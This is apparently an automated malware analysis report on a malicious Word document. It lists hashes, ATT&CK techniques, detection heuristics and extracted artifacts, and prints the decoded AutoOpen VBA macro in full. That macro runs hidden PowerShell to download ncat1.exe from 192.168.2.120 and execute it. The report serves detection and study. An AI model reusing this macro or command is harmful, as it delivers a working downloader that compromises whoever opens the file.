Office (OOXML) malware analysis — malicious · bbf3cad491e3acdb

MALICIOUS

Office (OOXML)

19.6 KB Created: 2021-06-03 08:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13

MD5: c349913fd41dc383dbbc3578e318fd79 SHA-1: 5e9bb17905795b1c08ea6a01202826e14e19ce38 SHA-256: bbf3cad491e3acdb987bc708de27071f44dc4da1e22dbdc5e2cb45e24f020f9a

410 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that execute an AutoOpen function. This function uses WScript.Shell to run a PowerShell command that downloads a second-stage executable from 'https://192.168.2.120/ncat1.exe' and saves it as 'c:\Users\win\ncat1.exe', then executes it. This indicates a downloader or dropper functionality.

Heuristics 9

ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
VBA project inside OOXML medium 6 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Sub AutoOpen()
    Dim Shell As Object
    Set Shell = CreateObject("Wscript.Shell")
```

WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage

Matched line in script

    Dim Shell As Object
    Set Shell = CreateObject("Wscript.Shell")
    CodeStart = "powershell -wIn hiDdEn "

PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA

Matched line in script

    Set Shell = CreateObject("Wscript.Shell")
    CodeStart = "powershell -wIn hiDdEn "
    Powershell_Command = "IEX '[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}'; IEX (New-Object Net.WebClient).DownloadFile('https://192.168.2.120/ncat1.exe', 'c:\Users\win\ncat1.exe'); Start-Process 'c:\Users\win\ncat1.exe'"""

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

    Dim Shell As Object
    Set Shell = CreateObject("Wscript.Shell")
    CodeStart = "powershell -wIn hiDdEn "

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro

Matched line in script

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim Shell As Object

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://192.168.2.120/ncat1.exe In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	811 bytes
SHA-256: `83ba354ac3302cc278b539ef025a2ef8f5c1c44c579f97bb9af96a8117ef3230`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "NewMacros" Sub AutoOpen() Dim Shell As Object Set Shell = CreateObject("Wscript.Shell") CodeStart = "powershell -wIn hiDdEn " Powershell_Command = "IEX '[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}'; IEX (New-Object Net.WebClient).DownloadFile('https://192.168.2.120/ncat1.exe', 'c:\Users\win\ncat1.exe'); Start-Process 'c:\Users\win\ncat1.exe'""" Full_Command = CodeStart & Powershell_Command Shell.Run (Full_Command) End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	27136 bytes
SHA-256: `1a413952f728d277f462bae99239f8451593a8efc80944f49cda3065b7708f35`
Detection ClamAV: Doc.Downloader.Pwshell-10001336-0 Obfuscation or payload: unlikely

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